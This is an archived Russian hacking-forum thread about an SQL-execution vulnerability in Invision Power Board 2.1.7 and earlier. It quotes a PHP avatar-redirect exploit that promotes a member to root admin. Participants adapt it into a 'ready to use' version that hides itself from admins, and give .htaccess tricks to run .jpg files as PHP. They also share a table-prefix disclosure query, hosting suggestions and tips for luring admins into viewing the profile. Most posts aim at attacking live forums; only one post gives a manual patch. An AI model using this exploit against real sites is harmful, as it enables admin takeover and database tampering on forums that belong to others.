Просмотр полной версии : sql-inj в ipb <=2.1.7
Digimortal
09.10.2006, 00:31
Итак, в среду на багтраке появилось сообщение об уязвимости IPB <=2.1.7.
Уязвимым оказался скрипт кп админки. Если поставить вместо ссылки на аватару ссылку на пхп-сплоит, то при просмотре админом (это должен быть рут-админ) акка пользователя через контрпанельку имеется возможность выполнить скуль-комманды через IPB's SQL Toolbox.
Вот сам текст с багтрака:
From: Rapigator <rapigator_at_yahoo.com>
Date: Wed, 4 Oct 2006 11:58:38 -0700 (PDT)
Invision Power Board Multiple Vulnerabilities
Affects: IPB <=2.1.7
Risk: High
An attack exists where an admin can be redirected and
forced to execute SQL commands through IPB's SQL
Toolbox.
The following requirements must be met for this attack
to take place:
- The database table prefix must be known
- The admin must have access to the SQL Toolbox (any
"root admin")
- The admin must have images and referers turned on in
their browser, and their browser must follow Location
headers (default behaviour for most browsers)
- The admin must view a malicious script as an image
in their browser.
This attack works invisibly to the admin because only
the image is redirected, not the page.
1st method:
In this method, any user can force the admin to
execute SQL commands.
1. A user sets their avatar to the malicious script's
address
2. The admin looks up the user's account in the Admin
CP
3. The user's avatar is shown and the admin is
redirected....
2nd method:
A restricted admin can add any HTML to a forum's
description(including javascript).
1. A restricted admin adds the malicious script as an
image to a forum's description.
2. Upon going to the "Manage Forums" link in Admin CP,
an unrestricted admin will be redirected and the SQL
will be executed.
Example malicious image script:
<?php
//The member id to promote to root admin
$mid = 145;
//The database prefix (usually "ibf_")
$prefix = "ibf_";
if (preg_match('/(.*adsess=[\\w]{32})/',
$_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{
header("Location:
".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
}
?>
http://seclists.org/bugtraq/2006/Oct/0049.html
Уязвимы версии:
Invision Power Board 2.0.x
Invision Power Board 2.1.0 - 2.1.7
Invision Power Board 2.2 Beta 1
Неуязвимы:
Invision Power Board 2.1.7 (ID: 21013.61005.s)
Invision Power Board 2.2 Beta 2
Делитесь тут мыслями по поводу этой баги. Сам я еще не испытывал..
gemaglabin
09.10.2006, 00:34
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)
_-[A.M.D]HiM@S-_
09.10.2006, 02:42
Я немогу понять тут $mid = 145; надо прописать id Рута или id свой ???
Судя по "SET mgroup=4" (SET+mgroup%3D4) - свой. (Не помню, вроде 4 это и есть права админа, которые устанавливаются для мембера с mid=$mid).
З.Ы.
Вообще там есть коммент:
//The member id to promote to root admin
(ну это для тех, чей мозговой парсер комменты не пропускает)
единственное решение можно предложить - поменять группу админов с 4 на какую-нить другую. Вряд ли злоумышленник (кидис который даже не въехал как работает сплоит, имхо 80% таких) нифига ничего не получит -)
Ручное исправление уязвимостей от 05.10.06
Файл ./sources/action_admin/member.php, найти код:
Код
//-----------------------------------------
// Avatar?
//-----------------------------------------
if ( $r['avatar_location'] and $r['avatar_type'] )
{
$avatar = $this->ipsclass->get_avatar( $r['avatar_location'], 1, '25x25', $r['avatar_type'] );
if ( ! strstr( $avatar, 'width=' ) )
{
$avatar = str_replace( '<img', "<img width='25' height='25'", $avatar );
}
}
else
{
$avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
}
заменить на:
Код
//-----------------------------------------
// Avatar?
//-----------------------------------------
//-----------------------------------------
// SECURITY UPDATE: Removing user avatar
//-----------------------------------------
$avatar = "<img src='{$this->ipsclass->skin_url}/images/memsearch_head.gif' border='0' />";
источник:
http://www.ibresource.ru/forums/index.php?showtopic=36607
Подскажите что не так пожалуйста:
скрипт выполняется как картинка, т.е http://localhost/g.jpg кажет phpinfo(); ;)
На форуме редактирую профиль, указываю в поле "Введите ссылку на файл вашего аватара" ссылку, потом захожу под руут админом, смотрю профиль юзера тестера, перехода не происходит, и запросы не выполняются, show table; аналогично нигде не выполняется, что не так?
p.s просматривая профиль тестер юзера в админпанеле, тоже редиректа не происходит, даже если правой кнопкой щелкнуть на открыть изображение, запросы не выполняются.
А как картинку с пчп кодом сделать?
Переименовать пхп файл, в *.jpg gif..
в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>
либо на край в httpd.conf добавить к application/x-httpd-php тип .jpg :)
Сам не пробовал, но если то что написано тут:
Бугага ;) в Sql Toolboxе запрос передается ПОСТом..несколькими днями ранее я говорил с амером с милворма он мне про это рассказывал ;)
является правдой, то, если я не ошибаюсь, нужно использовать curl, пример:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_exec ($ch);
curl_close ($ch);
?>
Разобрался я с этим експлойтом, прет кук из админпанели и добавляет к нему запрос сэквел, мне понравилось :)
У кого что то не получается расскажу что нужно сделать чтобы получилось :)
Как сделать чтобы скрыть под avatar.jpg пхп скрипт думаю ясно, но скопировав предоставленный эксплойт и даже подставив нужные значения, ничего не выйдет, там есть небольшая хитрость (может просто случайность) в строке:
header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
Нужно удалить лишний знак табуляции и выровнять строку так:
lheader("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+{$prefix}members+SET+mgroup%3D4+where +id%3D{$mid}+LIMIT+1");
:)
Заодно предоставлю следующий вариант, чтобы у админов не вызывал подозрения не отображающийся аватар, допишем строчку в сплойт (сплойт готовый к употреблению):
<?php
$mid = 2;
if (preg_match('/(.*adsess=[\\w]{32})/', $_SERVER['HTTP_REFERER'], $admin_loc) and $mid)
{ header("Location: ".$admin_loc[1]."&act=sql&code=runsql&query=UPDATE+ibf_members+SET+posts%3D12897+WHERE+i d%3D2"); }
else { header("Location: http://forum.xxx/forum/uploads/av-xx.jpg"); }
?>
Тестировочный сплойт, который станавливает юзеру с id=2 количество постов 12897, чтобы получить права админа вставляем запрос из официального сплойта :)
Сработает только тогда, когда админ посмотрит профиль юзера из Админпанели :)
p.s Если админ посмотри профиль в браузере konqueror вас ждет разочарование :)
Все происходит на локалке. ;)
Ну я закачал обычную аватару, изменил на пхп код, смотрю админом картику... Ноль не чего, и я тута решил дожлно отображатьса инфа о пхп, и тута я поменял код... Снова ноль ! Что я тока не пробывал. Помогите, а? :mad:
Вообщем сделал видео с небольши но:
Так как не одного дельного совета не было:
http://forum.antichat.ru/threadnav17208-2-10.html
Видео на 40 мег в раре, само занимает 70 мег, идет 19 минут.
Это полная версия, и соостветственно кто хочет качает, кто не хочет не качает :)
Немногим позже подготовлю порезанную версию, т.е просто вырежу кадры где например у меня довольно долго рестартится сервер, из за требовательных ресурсов
xvidcap, то как набираю там текст к комментариям...
Просто останутся основные кадры, смысл не потеряется :)
http://rapidshare.de/files/37256566/sql_inj_ipb_2.1.7_and_early_from_BMaster_Full_vers ion.rar
в ссылке убрать пробел в слове version хз откуда он там :)
AVI, 1022 x 766, 7.00 fps, video: Microsoft MPEG-4 v2
p.s Видео демонстрирует уязвимость форума, который находится на localhost, и соответственно хост тоже локальный.
p.p.s имхо camstudio вроде тоже не может захватывать без кодирования, он тоже использует компрессор по дефолту microsoft video 1.
т.о если это так, то факи написаны немного не точно :)
_-[A.M.D]HiM@S-_
23.10.2006, 01:25
Вот переснял видео для деалапщиков :
_http://kolokol.ho.com.ua/video/ibp.2.1.7.rar
Вообщем качество/размер лучше этого не могу подобрать, обрезать ничего не стал, просто пожал немного.
http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar
8мег.
Хостингов для помощи использования этой уязвимости много, fatal.ru тому пример, недавно тестил, все работает.
.htaccess если нет, то создаем.
Konstant!n
24.10.2006, 16:12
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.
_-[A.M.D]HiM@S-_
24.10.2006, 16:27
Если можно выложите файл .htacces как он должен выглядеть!
заранее спасибо.
в .htaccess добавить
<Files "u.jpg">
AddType application/x-httpd-php .jpg
</Files>
Вы о чем?
Н чужом хосте отредактировать файл .htaccess можно запросто, если ты зарегистрировал свой сайт на предоставляющем тебе хостинг сайте :)
А если не зарегистрировал то конечно никак не отредактируешь :)
Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.
Ищите в нете хостинг платный/бесплатный/поднимаете свой/... который поддерживает php и где есть поддержка .htaccess файлов...
Пример для незнающих fatal.ru и все, больше ничего не нужно.
_-[A.M.D]HiM@S-_
26.10.2006, 21:37
Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess
HiM@S-_']Некотрые регят себе сайт на хостинге бесплатном при этом незная что за такой файлик : .htaccess
.htaccess – это файл, который дает возможность конфигурировать работу сервера в отдельных директориях (папках), не предоставляя доступа к главному конфигурационному файлу. Например, устанавливать права доступа к файлам в директории, менять названия индексных файлов, самостоятельно обрабатывать ошибки Apache, перенаправляя посетителей на специальные страницы ошибок.
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)
_-[A.M.D]HiM@S-_
27.10.2006, 03:06
нда, одну проблему решили, теперь блин попробуй заставь админа навести на твой аватар.
вопрос таков :
он навести должен на твой аватар ?
глянуть твою тему просто с твоим аватаром ?
или как вообще ? :)
_http://rapidshare.com/files/343881/sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar
Значит надо чтобы админ проссмотрел твой профиль из админки.
Но почему то у меня из мозилы не пахало. Из оперы и ИЕ всё гуд.
Да насчёт подписи, я бы в админку не лез, я бы прямо с форуме убрал бы её ;)
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?
_-[A.M.D]HiM@S-_
27.10.2006, 19:11
Есть форум...Аву по урл нельзя вставлять только можно грузить с компа,а вот фотку можно...Вопрос можно ли через фото это зделать или только через аватар?А и ище момент: Файли должен бить на своём форуме ипб?И имейдж тоже должен с ипб быть?
Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)
Если кто так и не понял... НЕ На форуме, который вы хотите протестировать/хакнуть, НЕ на сервере на котором находится этот форум НИЧЕГО создавать, редактировать кроме как профиля своего юзера НЕ нужно.
сам же сказал что .htaccess надо
к тому же если права грамотно стоят, то не прокатит
я брал код с сайта где можно через url и вставлял его на место того где незя , ток там адресс сайта в коде менял и все ок было !
HiM@S-_']Помойму с компа тебе неудаться загрузить аватарку с содержимым.Форум проверяет аватар на наличее вредноносного кода :)Уже протестил и понял :) А вот насчет "Момента"? :)
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.
}{0TT@БЬ)Ч
30.10.2006, 22:20
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.
Dala$$ разницы нет на чем показывать все одинакого.Если что то не получилось спрашивай поможем.
}{0TT@БЬ)Ч
31.10.2006, 21:42
Fr-Ron а .htaccess создавал?
У кого ето работало не на локалке?
Автор сними видео о том как ты делаеш ето в инете плз.
Этож геморойство, админ может только на след. день заглянуть на форум, тем более в админ. панель
nightmare007
31.10.2006, 22:24
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы
Little_W
31.10.2006, 22:40
народ...кто нить, перезалейте sql_inj_ipb_2.1.7_and_early_from_BMaster_Xvid.rar на каконибуть другой сервак ...чото с рапидой траблы
http://www.rapidshare.ru/88941
Fr-Ron а .htaccess создавал?
На локалке он есть от апача, но я его не менял даже.
А на ИБП ведь кроме проифя ниче юзать не надо...
}{0TT@БЬ)Ч
02.11.2006, 00:03
Fr-Ron правельно на взлаемом форуме ничего кроме профеля менять не надо НО надо разместить свою аватарку на бесплатном/платном хостинге и там уже создавать файл .htaccess.
Попробуй измени на красную подпись аватары и 7 шрифт. Иногда прокатывает, моно еще
как нить поиздеваться, типа хочу модером, или ...
Таких вариантов многов, но конечно нуна зарегать новый аккуант и написать куча всего что-бы не показаться страннымю
Возникает законный вопрос: как узнать префикс базы данных?
Tflash
/forum/index.php?act=Online&st=-1
А там уж смотришь:
.......FROM ibf_sessions.........
}{0TT@БЬ)Ч
08.11.2006, 01:36
Баг заключается в недостаточной фильтрации переменной st в списке "кто онлайн"
С уязвимости в параметре st вроде тока можно поиметь раскрытие префикса БД.
Tflash
/forum/index.php?act=Online&st=-1
А там уж смотришь:
.......FROM ibf_sessions.........
хм странно, на локал хосте работает, но ни на одном нужном форуме в глобале - нет...
Да еще один глупый вопрос: возможно ли переименовать таблицу members в что-нить другое и если можно как ее узнать?
хм странно, на локал хосте работает, но ни на одном нужном форуме в глобале - нет...
Да еще один глупый вопрос: возможно ли переименовать таблицу members в что-нить другое и если можно как ее узнать?
http://forum.web-hack.ru/index.php?showtopic=23453&st=-2
Люди помогите пожалуста... Какие еще сервы позволяют редактировать .htaccess?
а то с этими че та сплошные траблы
_-[A.M.D]HiM@S-_
11.11.2006, 15:44
Люди помогите пожалуста... Какие еще сервы позволяют редактировать .htaccess?
а то с этими че та сплошные траблы
http://www.creater.ru/index.php?tid=90&&a=dwnld&script_id=1030
------------------------------------------------------------------
Grey: тема закрыта, все сообщения не имеющие информационной ценности удалены, ссылка на тему добавлена в тему [Обзор уязвимостей Ipb].
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot